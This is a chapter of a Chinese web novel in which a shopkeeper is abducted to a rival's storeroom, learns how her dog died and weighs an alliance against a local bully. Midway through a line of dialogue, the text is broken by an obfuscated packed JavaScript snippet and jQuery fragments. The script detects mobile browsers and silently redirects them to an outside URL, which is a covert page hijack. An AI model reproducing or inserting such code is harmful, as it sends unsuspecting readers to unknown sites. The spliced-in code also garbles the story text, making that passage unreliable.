50. 第 50 章

作品:《驴脾气夫君为我做牛马

    他说完后,身后的一双双眼睛也都盯着鹿芩。


    鹿芩明白,自己是非去不可的,就算她不管菱儿死活,他们也会用别的办法强制带走她。


    她可亲地点头道:“好,请吧。”


    见胡茬男给手底下的人使了个眼色,鹿芩的心已然提到嗓子眼,但不动声色地看着。


    这群拦路人步步走近了,其中一人从怀中抽出两条黑色巾帕,绑了她的手,蒙了她的眼,紧紧打结,又往她嘴里塞了块破布,似乎是怕她出去后大喊救命。


    丧失了视觉后,鹿芩的听觉变得敏锐,她听见一群人的脚步声逼近自己,他们抬着她往前走,还踢滚了饭盒,发出沉闷的摩擦声。


    落地后没多久,脚下开始颠簸起来。


    鹿芩摸了摸四处,很快察觉到这是一顶轿子,再往前摸,又摸到一条纤细的手臂。


    这些人真是谨慎,怕引起注意,还特意用轿子来抬她和菱儿。


    鹿芩思绪重重地想着万全之策,其实钱家衣铺就在这条街上,没几步路,但她却觉得十分漫长。


    终于等到停轿,这些人又将她抬去了另一处,草草松了绑,将她丢进一堆杂物里,丝毫不懂怜香惜玉。


    鹿芩以为自己要摔个好歹,做足了心理准备,不料却落在一堆软绵绵的东西里。


    她胡乱扯下眼周的巾帕,这才发现身下是堆成小山一样的棉斗篷,款式老旧,都落了灰。


    看样子,此地是钱家衣铺的库房。


    “鹿老板,幸会幸会。”


    鹿芩正琢磨时,身后传来一道尖细的嗓音,她撑着斗篷堆起身,回头看去。


    只见那人身穿妃色马褂,头发稀疏,面上奸笑,还露出一口歪七扭八的牙,乍一看,像是黄鼠狼成精了。


    “自我介绍一下。”黄鼠狼精摇着手中的折扇,开口道,“鄙人名叫钱于明,家父是一九品芝麻官,算不得什么显赫人家。今日邀鹿老板来,是想跟鹿老板交个朋友。”


    鹿芩不紧不慢地拍了拍身上的灰尘,直言道:“明人不说暗话,钱老板心思玲珑,是个聪明人,不必打哑谜。”


    钱于明也不绕弯子,当即爽快道:“跟鹿老板说话真是爽快,那我就直说了。”


    “鄙人很喜欢你家的衣裳,若你肯将衣稿奉上,鄙人就认你家做分铺,不让你倒闭,这样咱们都有钱赚,如何?”


    鹿芩没正面回答,只故作不解道:“我听闻钱老板一家独大多年,是容不下别的铺子开业的,又为何容我呢?”


    “做生意嘛,你有用处,自然要留了。”钱于明摇头晃脑道,“张贵是个无脑的傻子,可鄙人不傻,你们能来京城居住,自然是有点本事的。”


    “那钱老板这话就没诚意了,衣稿出自我家,若要合作,也该是你家来做分铺。”鹿芩摊手道,“若我不应,钱老板又要如何呢。”


    钱于明看也没看她,在她对面斯文地踱步,笑了。


    “你们家的那只狗,叫什么来着……哦,八宝对吧。”他眼珠转了转,“你想知道它是怎么死的吗?”


    鹿芩瞳孔一颤:“什么?”


    “你定以为是我嫉妒你赚了钱,所以让张贵动手杀了那狗吗,实则不然呢。”


    钱于明无视她的反应,自顾自地讲起来了,“那天是张贵父亲,也就是县令大人,跟人私下交易了什么香料,又或是什么药,回来时路过你家衣铺,被八宝嗅到了。”


    “……”


    “大概是香味有异吧,八宝追了他一路,县令怕他叫起来惹人注意,就假好心地喂了块肉……可怜了,多机灵的小狗啊。”


    钱于明说到这,面色惋惜,颇有深意地“啧啧”两声,接着空气陷入安静。


    听了来龙去脉,鹿芩心间如同千万蚂蚁啃食,隐隐作痛,不免想象到八宝奄奄一息的样子。


    她盯着钱于明那双狡黠的眼睛,道:“钱老板的话是真是假,还未可知啊。”


    “你可以去问你夫君啊。”钱于明泰然自若道,“那天你出门拿衣裳,但他还在铺子里呢。他发现八宝不见了,还在门口寻了一会儿,见八宝自己跑回来,就又回铺子里去了。”


    他摇头:“可惜啊,你们俩都错过了最佳时机,若他多看一眼,或是你早点回来,八宝或许还有救。”


    早点回来或许还有救……


    鹿芩耳朵里回荡着这句话,不禁手指发颤。


    八宝,都怪娘亲晚了一步……等一下,不对。


    鹿芩抬头看着钱于明揭开真相、很得意似的嘴脸,瞬间又从伤感中抽离出来。


    他们的衣铺压根不在一道上,这种事情,他怎么能知道的这么清楚。


    她细思极恐,慢慢反应过来了:“你监视我们?”


    钱于明在原地绕着圈子,转着折扇的手忽然不动了,遮住半张面孔,只漏出一双眼睛。


    “鹿老板在我家安这么多眼线,鄙人自然是要礼尚往来啊。”


    他将目光投了过来,眼底闪着精明的光。


    “鄙人还知道,鹿老板为了替天行道,今日还特意和夫君演了一出好戏呢。”


    钱于明尖细的声音像蜘蛛吐出白丝,鹿芩听后,只觉得像被蜘蛛网缠了脸,浑身恶寒。


    这人的阴险程度,不亚于当年的赵姨娘,甚至心思更缜密。


    和此人来往,若不防范,必会暗中着了他的道,吃哑巴亏。


    钱于明捕捉到她表情里闪过的那抹惊恐,笑道,“我与张贵结交多年,知晓许多张贵家的秘密,说不定是二位需要的好帮手哦。”


    话的尾音在狭窄的库房里回荡,鹿芩低了低头,半晌后恢复了笑容,歪头反问道:“原来钱老板也心有不满吗?我还以为钱老板得了好处,是最愿意追随张贵的呢。”


    “张贵那傻子,一副大爷做派,早晚是靠不住的。”钱于明收了折扇,一副轻蔑的模样道,“若不是为了谋生,谁又愿意对他毕恭毕敬呢,其实这条街上的人早就对张贵不满了,自然了,也包括鄙人。”


    他说着,慢吞吞地走近了几步,眉毛高挑,那尖锐的嗓音忽然沉了下来,似乎有蛊惑之意。


    “只要打垮了张贵,所有人都皆大欢喜,你给小狗报了仇,宣德街上的不良之风被铲除,鄙人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754653|182552||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也可以安心做生意了。”


    “怎么样啊,鹿老板,真的不考虑一下吗?”


    ……


    其实用恶人来磨恶人,也不失为一个好办法,但钱于明这人实在阴险,鹿芩总觉得他另有所图,故不敢轻易答应联手。


    她的心似悬钟般摇摆不定,便找借口打断了,说衣稿都是夫君所画,她得和夫君商议,又说她出门太久会惹夫君不悦,得赶快回去哄好了他,才能说服他答应。


    两人相约明日同一时辰再见,钱于明喜形于色,很守信用地让胡茬男送回了菱儿,还贴心地给了她们一盏灯笼来照明。


    确认这些人没有把菱儿怎么样之后,鹿芩才放心地带着她离开此地往自家衣铺,此刻外面天色擦黑,许多铺子门口的灯笼都亮起来了,近看成点,远看成片,像一条流动在半空中的彩色小溪,十分漂亮。


    鹿芩想,夜景真好,若是郝景时也在就好了,他们都一天未见了。


    她被钱于明带走了一下午,郝景时毫不知情,一直不见她,他应该是急坏了吧。


    想到这,鹿芩不由得加快了脚步。


    她和菱儿三步并作两步,气喘吁吁地回到衣铺,却发现还不到关铺时候,门就已经上锁。


    鹿芩在原地顿了片刻,这时赵大娘从隔壁看见了她,像是明白了她回来的目的,探头道:“那小伙子申时初便关了店,神色匆匆忙忙的走了。”


    鹿芩忙问:“大娘看见他往何处去了吗?”


    赵大娘指了个方向,紧接着又一五一十地将郝景时说要关铺子为民除害的话告知,还好言劝她安生过日子,别再做出格的事。


    鹿芩见她手指着张贵家的方向,没心思解释清楚,赶紧谢过,转头便朝着那头跑去。


    ……


    鹿芩笃定郝景时不会回府,他若一直寻不到她,十有八九就会去找张贵质问,毕竟如今和他们结下梁子的也就是他了。


    她太了解郝景时的性子了。


    从前没把郝景时的火爆脾气当回事,自从听了算卦老人一言,她便开始惶恐,时时刻刻都怕他的强势遭人记恨,给他带来灾祸。


    鹿芩思绪乱作一团,心里不停祈祷着老天保佑,郝景时不要去找张贵,或者让她比郝景时先赶到张贵家。


    但她并不知张贵家具体在哪,只能火急火燎地跟人打听,却被接二连三地拒之门外。


    他们愤愤道:“方才你夫君满街找你,都要急死了,你倒好,还惦记着别人!”


    “没良心!这小伙子真可怜!若换做是我,才不会管你死活,爱去哪去哪吧!”


    “大晚上去张贵家干什么,你还要不要脸哪?”


    “……”收获一众怪异的目光后,鹿芩觉得哭笑不得,急的直在原地跺脚。


    喂,谁没良心啦!


    早知道钱于明会找她合作,她就不丢脸地来演这出戏码了。这下好了,满街的人都误会她!


    鹿芩无助徘徊,实在没招,准备去钱家衣铺问钱于明时,菱儿忽然晃了晃她的胳膊。


    她指着街角那棵树上的亮光:“夫人,你看,是玄岚!”